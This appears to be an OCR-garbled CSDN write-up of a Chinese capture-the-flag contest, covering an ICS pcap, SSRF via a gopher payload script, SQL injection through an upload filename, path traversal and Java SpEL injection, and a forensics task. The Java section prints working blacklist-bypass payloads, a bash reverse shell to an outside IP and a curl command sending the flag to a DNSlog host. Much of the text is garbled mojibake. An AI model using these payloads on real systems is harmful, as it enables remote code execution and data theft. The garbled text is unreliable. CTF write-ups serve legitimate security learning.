F M TIA 72 2 KF] #Hwriteup

shuX F 2022-05-01 13:03:46 KA 58 e 4

FRER: cff LERE: web®4g Z4 java

ARG

ACEERE: https://blog.csdn.net/weixin_46081055/article/details/124525513

81 WX E4TH
BT

5B Jm P TIAR R 2% % 2 K3 #R4) writeup

ICS

easyiec
web

sign_in

upload

ez java

Misc

BLEf Bwinxp

AR EcesdniUUshu X0, Fif&idketf. BUEMBEHARKE, WBPRFRKERKER: shuk CSDNIEZ-ctf, BUE, web ik 1#
Z: https://blog.csdn.net/weixin_46081055 H& ¥ (@ 'w @)/ ! !

ICS
easyiec

REREERESD


https://blog.csdn.net/weixin_46081055
https://blog.csdn.net/weixin_46081055/category_11213260.html
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=java&t=blog&o=vip&s=&l=&f=&viparticle=
https://blog.csdn.net/weixin_46081055/article/details/124525513
https://blog.csdn.net/weixin_46081055/category_11213260.html
https://blog.csdn.net/weixin_46081055

[ easyiec.pcap

AEF HE) WERN G BEC SiWA) &G BiEY) XTsEw) TAEM  BEH
im 29 DRABRes=F 2 SEQQQH
I|tl:p, stream eq 1
le. Time Source Destination
542 2821-12-28 16:12:42.353192 192.168.183.1 192.168.183.157
543 2021-12-28 16:12:42.4088559 192.168.183.157 192.168.183.1
544 2821-12-28 16:12:42.¢
£AS 2021-12-28 16:12:42 .4 M Wireshark - i85 TCP 5% (tcp.stream eq 1) - easyiec.pcap
546 20821-12-28 16:12:42.4
547 2021-12-28 16:12:42 .. U=a..... Wit Eomanee o e e e e et noont U.a..... her e O e H rsnas h.....
SR e o i Ueeozo=s hisee s oo s uld..... he=s o hee- koo u!
B oSl (d. .. ... he.... Keveeannnn U.d..... huee.. Keweoonnns u.d..... he.... Keveeannnn Ue..... h. ..
549 2021-12-28 16:12:42.% |y Kewoooannn Ubf..... ho.... Kevornnnn. U(g..... heo... Keoeeaens U(g-.... hew... Keooonone.
550 2021-12-28 16:12:42.% | _  U.h..... o S AT Usheoos: hieee: i V5 hooos. T i o Uglico. he.d
551 2021-12-28 16:12:42.7 |j..... s e EoSneEs e Mg b e T R e hoote RS LRaES s as h...
552 2021-12-28 16:12:42.] |h..... T U bsmme N o R B e hisien e Um..... R e e
553 2021-12-28 16:12:42.¢ |.-.-USo..... I E— imagooocon USo..... Uaaoos mmmmomoos Lo e i i CrR—— S pe— h...
554 2821-12-28 16:12:42.¢ |P----- P e ke | e h=atas e e RIE v hovs e e Uor..... heel
e R WG msae e e o S anae nEe A s ks S
] = e hoo s maes o U oossmee h...
> Frame 542: 90 bytes on wire ( |.k......... (Eeni s ol h.
> Ethernet II, Src: 192.168.183 |...K......... Moomooan o mnae . e Hoooas [Hecmmo Koeannoos (T i [hoaoo k
> Internet Protocol Version 4, ce X
> Transmission Centrol Protocol |------------ ho.... =
> IEC 6@870-5-104: <- I (112,13 ["""""""""" h"r'l"-""
» IEC 68870-5-101/1e4 ASDU: ASII """"" |'1,', """ =
.......... flag{ed5y_leci®d}th.....{
........... ] |
.......... hE
| (e hoeey l.
PEOOB 00 Bc 29 5F 1c 5 80 58 | |.cccnanaaa N N haC o hEees i B
0010 ©0 4c 14 aS 48 @0 80 @6 e e Fimm oo o
0020 b7 9d f3 13 @9 64 2e ab R Bevennnnnnn
G038 10 @9 27 6f 28 @0 63 22 ceaahe.... Boreinnnnns
0040 ©1 00 00 00 00 @1 G0 @1 | |....h..... - (.
8050 35 79 5F 31 65 63 69 3@ | |.-..h..... Beisl=lm iz et (
Co o L S Bt
e PRt CSOM @shuf
web
sign_in

File¥riltiLhosts, BRIPHIEHM, KI172.73.24.1006 — & EHL



Attack Save Columns 5. Intruder attack of 124.220.9.19 - Temporary attack - Not saved to project file

Results Target Positions Payloads Resource Pool

Filter: Showing all items

Request Payload Status Error
) 200
4l 21 200
00 100 200

1 200
! 2 200
] 3 200
b 4 200
) 5 200
) 6 200
! 7 200
} 8 200
| 9 200
0 10 200
1 11 200

Request Response

Pretty Raw Hex 0 =

Options

Timeout  Length -
3608
3608
2294
2051
1913
1913
1913
1913
1913
1913
1913
1913
1913

1913

Comment

<fcho

FILE_ );

curl_setopt (3ch, CURLCPI_URL, 5_GET['url']}:
curl_setopt (§ch, CURLOPT_HEZADER, 0);

curl exec($cl

curl_close(Sch)?

302 Found

nginx

CSOM-@shusf

RAER R ITssrf (X BRI RbBEH Fgophersh T A T

import urllib.parse

payload =\

"""POST /index.php?a=1 HTTP/1.1

Host: 127.0.0.1:80

X-Forwarded-For:127.0.0.1

Referer: bolean.club

Content-Type: application/x-www-form-urlencoded
Content-Length: 5

b=abc

tmp = urllib.parse.quote(payload)

new = tmp.replace('%0A", '%OD%OA")
‘gopher://172.73.24.100:80/"'+"'_"'+new
result = urllib.parse.quote(result)

result

print(result)

» REMAHED



> SQ:I.BASICS‘ UMION BASED- ERROMDOUBLE(HJER\" T(}GLS‘ 'WAF BYPASS- ENCODING HTML= ENCR'I"P’I’ION‘ OTHEH.‘

J{SS‘ LFI‘

FURL httpc.(flzé ZZU 9 19'2(!!!1Puri -gophﬂJNﬂ?z 73, Zd 100%3&30,-' Pﬂsmmﬁndn plw%253Fi%253D1%2520HlTF‘f| 1%2500»%25%1-!«:%253&%252012? 0.0.1%253A80%2500%250AX - Forwarded -
L URL For%253A127.0.0.1%250D%250A Referer’:253A% 25 20belean.club%250D% 250AC ontent- Typet253AN%2520applicati form-url ded¥%2500%250ACentent-
LengWSS\A‘?&ESEOS%HDD%E503-952500%250.#h%253mb¢%250ﬂ%250.l
ute

b

[ Post data [ ] Referrer 4 OxHEX 3B % %URL ¥ 4 BASEGS ¥

<iphp

Irgen? string 1o replace | isert replacing string] b Replace All 3

highlight_file(_FILE_);

$ch = curl_dnit();

curl_setopt($ch, CURLOPT_URL, $_GET["url']);

curl_setoptifch, CURLOPT_MEADER, @);

curl_exec($ch);

curl_cloze($ch);
?» HTTP/1.1 200 OK Date: Sun, 24 Apr
2022 05:18:38 GMT Server: Apache/2.4.38
(Debian) X-Powered-By: PHPIT.2.34 Vary:
Accept-Encoding Content-Length: 525
Content-Type: text/html; charset=UTF-8 Fip
SRR AILUE, EEFiMbolean.club

alEA e

Ll~~flag{Have_A_GoOd_T1m3llMhello,cifer,welecome!!!!

flag{Have_A_GoOd_T1m3!!!}

upload

RESQUREETE NI .. BRI SEXT 3 A 4 fuzzlif AR

&0rigin: http://124. 222, 24, 150: 8002

7 Gontent-Type: multipart/form-data;
boundary=———WebK i tFormBoundaryeNtAKXZ7pAANN34h

8 User—Agent: Mozilla/5.0 (Windows NT 10.0; Windd; x64)
AppleWebKit/537. 36 (KHTML, |ike Gecko)
Chrome/92. 0. 4515, 107 Safari/537. 36

? Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, i
mage/avif, image/webp, image/apng, */%:q=0. 8, application/s
igned-exchange ;v=b3;q=0. 9

CSDN @shuzt

2 Date: Wed, 27 Apr 2022 07:19:55 GMT

3 Server: Apache/2.4.18 (Ubuntu)

4 Vary: Accept—-Encoding

5 Gontent-Length: 510

6 Connection: close

7 Gontent-Type: text/html; charset=UTF-8
8

9 <!DOCTYPE html>

10 <html lang="en">

11 <head>

0 Referer: http://124. 222, 24.150:8002/ 12 {meta charset="UTF-8">
1 Accept-Encoding: gzip, deflate 13 {titlerf 3 B title>
2 Accept—Language: zh—CN, zh;q=0.9 14 {/head>
3 Connection: close 15 <body>
R 16 <form action="" method="post" enctype="multipart/form—data">
5 ————MWebKitFormBoundaryeNtAKXZ7pAANN34h 17 <{input type="file" name="upfile">
& Content-Disposition: form-data; name="upfile"; filename 18 <input type="submit" value="_L ">
="1.png' and updatexml (1, concat (0x7e, (select 19 </form>
substr (flag, 1,16) from flag),0x7e),1) and '" 20 </body>
7 Gontent-Type: ctf 21 </htm! >
8 22 Error: insert into upload_file
9 GIF8%a? values (' 0ef53366ccebbf04b?d09bebe1 68bbTe. png” and
01 updatexml (1, concat (0x7e, (select substr(flag,1,14) from flag),Ox7e), 1)
12 ————WebKitFormBoundaryeNtAKXZ TpAANN34h— and ') :<br>XPATH syntax error: ' flag{5937a0b90b5™"
Y N . - - D
1.png' and updatexml(1,concat(®x7e, (select substr(flag,1,16) from flag),0x7e),1) and '
BEERiksqiBa A, flagREARH HRM.. R E 2 — upload®

ez_java



& 124.222.173.163:8023 X +

< C A F=£| 124.222.173.163:8023

Hello World!

download: 1.txt

R SCHHEEL, web. xmiit 5

/download?filename=../../../web.xml

x|

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xsi:schemalLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4 0.x
sd"
version="4.0">
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>com.abc.servlet.DownloadServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>TestServlet</servlet-name>
<servlet-class>com.abc.servlet.TestServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>TestServlet</servlet-name>
<url-pattern>/test388</url-pattern>
</servlet-mapping>
</web-app>

TEAA R

/download?filename=../../../classes/com/abc/servlet/TestServlet.class
/download?filename=../../../classes/com/abc/servlet/DownloadServlet.class

FETestSenvlet.class, H spellEA, T LAERuiOJfE # 15 http:/rui0.cn/archives/1043



public class TestServlet extends HttpServlet {
/* access modifiers changed from: protected */
public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req, resp);

/* access modifiers changed from: protected */
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOExce

ption {
try {
String name = new String(request.getParameter("name").getBytes("IS08859-1"), "UTF-8");
if (blackMatch(name)) {
request.setAttribute("message", "name is invalid");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
¥
System.out.println(name);
request.setAttribute("message", getAdvanceValue(name)); //name A #
request.getRequestDispatcher("/message.jsp").forward(request, response);
} catch (Exception e) {
request.setAttribute("message", "error");
request.getRequestDispatcher("/message.jsp").forward(request, response);
}
¥

private boolean blackMatch(String val) {
for (String keyword : getBlacklist()) {
if (Pattern.compile(keyword, 34).matcher(val).find()) {
return true;

}

return false;

private String getAdvanceValue(String val) { //IX B R spel #ATHIHE 7
return new SpelExpressionParser().parseExpression(val, new TemplateParserContext()).getValue(new Standar
dEvaluationContext()).toString();

}

private String[] getBlacklist() { // ALt FIHRH &S5
return new String[]{"java.+lang", "Runtime", "exec.*\\("};



= Hpayload

${12*12}

T(java.lang.Runtime).getRuntime().exec("nslookup a.com")

T(Thread).sleep(10000)

#this.get(lass().forName(' java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()

T N
BJLAZ&E Z RijCode-Breaking Puzzles — javaconfUiXi&=lH (writeup http://rui0.cn/archives/1015) , F&
BT IENCcjavaXi#ia) (f0: java.+lang exec.*\( &) KB, HEIHNEMI WIT:

1. FIRRREHIIE

lass().forName("java.l"+"ang.Ru"+"ntime")
‘ex"+"ec”,T(String[])).invoke(T(String).get(lass().forName("java.l"+"ang.Ru"+"ntime")
10d("getRu"+"ntime"). invoke(T(String).get(lass().forName("java.l"+"ang.Ru"+"ntime")),

new String[]{"/bin/bash","-c","curl fgShme.ceye.io/ cat flag_j4v4_chunlbaseb4|tr "\n' '-'""})}

2. F)EScriptEngineManagertai&

#{T(javax.script.ScriptEngineManager).newInstance()
.getEngineByName("nashorn")
.eval("s=[3];s[@]="/bin/bash’;s[1]="-c';s[2]="ex"+"ec 5<>/dev/tcp/1.2.3.4/2333;cat <

Dl & shusr

payload (V& 7 ZurlZmid)

name=#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String)
.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("j

ava.l"+"ang.Ru"+"ntime")),new String[]{"bash","-c","/bin/bash -i >& /dev/tcp/180.76.184.229/9999 0>&1"})}

I
Process[pid=45, exitValue="not exited"]

& al E  BHE Recorder A BEE B AT BE IR 0 &2 Lighthouse  HackBar  EditThisCookie

LOAD SPLIT EXECUTE TEST -~ saLl - Xss - LFl ~ SSTI -~ SHELL -~ ENCODING -~ HASHING -~

URL
http://124.222.173.163:8023/test388

enctype

- Enable POST application/x-www-form-urlencoded - ADD HEADER

rB*lvaume:%23%?BT(String].getCIass(}.forName(%22java.1%22%28%22ang.Ru%22%28%22mime%22).getMethod(%22€x%22%28%22e
c%22%2CT(String%5B%50)).invoke(T(String).getClass().forName(%22java.1%22%2B8%22ang.Ru%22%2B8%22ntime%22).getMethod(
%22getRu%22%2B%22ntime%22).invoke(T(String).getClass().forName(%22java.l%22%2B%22ang. Ru%22%2B%22ntime%22))%2Cn
ew%20String%5B%5D%7B%22bash%22%2C%22-c%22%2C%22%2Fbin%2Fbash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F180.76.184.229%2F9999%200%3E%261%22%7D)%7D

CSDH @shuR



Ladl. = ) L LE U ' =L LUTY
root@l55e6b18a230: fusr/local/tomcat# cat /flAglvav
cat /TlAglvav

flag{l23awerghjvxcvcjfreawe}
root@l55e6b18a230: /usr/local/tomcat# |J

Misc
LIk M winxp
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BXUEFU= ElE

EzEUE P Windows XP Professionalwmdk b LFEE » Firefox b FERCE » 20225F » 038 » 188

BH w hoAFEEE o 1 L Ava FIR RS

URLitbiE

[ https://www.mozilla.org/zh-CN/firefox/52.9.0/firstrun/
[1 https://home.firefoxchina.cn/

0 http://10.30.7.1:8000/

[ http://10.30.7.1:8000/meiren.png

[ http://10.30.7.1:8000/meiren.png

[1 http://10.30.7.1:8000/login.html?qq=1272045963
1 http://10.30.7.1:8000/login.htm|?qq=1272045963
[ http://10.30.7.1:8000/login.htmI?qq=1272045963
[1 http://10.30.7.1:8000/login.htm|?qq=1272045963
[1 http://10.30.7.1:8000/login.htm|?qq=1272045963
11 [ http://10.30.7.1:8000/login.htm|?qq=1272045963
12 [ http://10.30.7.1:8000/login.htm|?qq=1272045963
13 [ http://10.30.7.1:8000/login.htm|?qq=1272045963
14 [1http://10.30.7.1:8000/login.htm|?qgq=1272045963
15 [ http://10.30.7.1:8000/login.htm1?qq=1272045963
16 [1http://10.30.7.1:8000/login.htm|?qgq=1272045963
17 [ http://10.30.7.1:8000/login.htm|?qgq=1272045963
18 [1http://10.30.7.1:8000/login.htm|?qq=1272045963
19 [ http://10.30.7.1:8000/login.htm|?qq=1272045963
20 [ http://10.30.7.1:8000/login.html|?qq=1272045963
21 [ http://10.30.7.1:8000/login.html?qq=1272045963
22 [ http://10.30.7.1:8000/login.html?qq=1272045963
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_meiren.png.extracted > 17B431 » flag.png.extracted > 41E7 (4)
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CSDN @shuzk

something.png

ZEwp: https://blog.csdn.net/qq_53263789/article/details/124430442

https://mp.weixin.qqg.com/s?
__biz=Mzg20Dc10DgzOQ==&mid=2247483772&idx=1&sn=0015b5a2b5db1636807b0bc4074cc5b1&chksm=cea62524f9d1ac328bb2c9
8d30d3b8b45a5e3cb2a31ab02232b2030eadfa1f6031db5f1ad4ad3&mpshare=1&scene=23&srcid=0425zchIWRTnxXKiLSCNNWQB&shar
er_sharetime=1650893619252&sharer_shareid=338e6bdd46dd97be28409a9b4d925212#rd
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